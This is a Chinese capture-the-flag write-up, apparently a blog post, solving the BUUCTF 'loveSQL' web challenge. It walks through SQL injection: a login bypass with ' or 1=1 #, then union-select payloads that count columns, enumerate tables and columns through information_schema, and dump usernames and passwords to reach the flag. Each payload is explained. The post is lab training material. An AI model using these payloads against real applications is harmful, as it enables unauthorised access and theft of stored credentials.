buuctf_web_loveSQL

题目:
在这里插入图片描述上面有行小红字,“用 sqlmap 是没有灵魂的”,呵呵。。嗯,确实
啥也憋说,先上万能钥匙:

a or 1=1 #
a’ or 1=1 #
a" or 1=1 #

尝试后的结果,可以发现该SQL验证是单引号,a' or 1=1 #注入过后结果:
在这里插入图片描述
这我猜是admin的密码(Hash)过后的。在这我要针对该题抛一个问题:
"用户名"和“密码”这俩个输入框,“用户名”我感觉不到什么用呐,只要用户名里面的input没有SQL语法,就…跟不存在一样(存疑)
下面我尝试了a';show databases;#;他给我报语法错误。
试完万能钥匙+想起来的一些经验,在看一下该表的列呗
payload:

1’ union select 1,2,3#

想像一下:
select admin,password from table where password=‘1’ union select 1,2,3 #’
结果:
在这里插入图片描述
如果是1’ union select 1,2,3,4#就会表明超过列了
在这里插入图片描述
学的少,下面就是复刻+学习大佬方法了

1’ union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#

在这里插入图片描述

1.table_name: 这是要获取的列的名称,表示表的名称。
2.from information_schema.tables: 这部分指定了要查询的表,即信息架构中的表。
3.where table_schema=database(): 这部分是一个条件语句,用于筛选出当前数据库中的表。table_schema 表示数据库名称,而 database() 是一个 MySQL 函数,用于获取当前数据库的名称。
4.limit 0,1: 这是限制返回结果的数量,表示只返回第一行结果。
5.#: 这是一个 SQL 注释符号,用于注释掉后面的代码,避免影响查询的执行。

我试了,没limit 0,1这类的语句,他就只吐出该数据库第一行的表名
上图第二个payload同理,最后
在这里插入图片描述(我还有个问题,他咋知道Flag就在l0ve1ysq1表里?)
下面是对第三句payload的解释:

1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’ #

1.select 1,2,group_concat(column_name): 表示查询返回三列,前两列分别为数字1和2,第三列为通过 group_concat 函数连接所有列名的结果。
2.from information_schema.columns: 指定了要从信息架构的 columns 表中获取列的信息。
3.where table_name=‘l0ve1ysq1’: 这是一个筛选条件,用于限定查询的目标表名为 ‘l0ve1ysq1’。
4.#: 这是一个 SQL 注释符号,用于注释掉查询语句中后面的部分,以防止执行后续恶意代码。

结果:
在这里插入图片描述
从此我们可以看出,l0ve1ysq1表中有id username,password这三个列
payload:

1’ union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

union select 1,2,group_concat(id,username,password) from l0ve1ysq1: 这部分是一个 UNION 查询语句,将上面的字符串 ‘1’ 与来自表 ‘l0ve1ysq1’ 中的 id、username 和 password 字段值连接起来,然后将其作为一组新的查询结果。
在这里插入图片描述
Your password is ‘1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{9a840a89-5ed4-4346-820f-fdda9fcdf500}’
flag{9a840a89-5ed4-4346-820f-fdda9fcdf500}

新知识:
group_concat() 函数连接所有列名的结果
information_schema.tables: 这部分指定了信息架构中的表。(我一个大大的疑惑)

  • 23
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值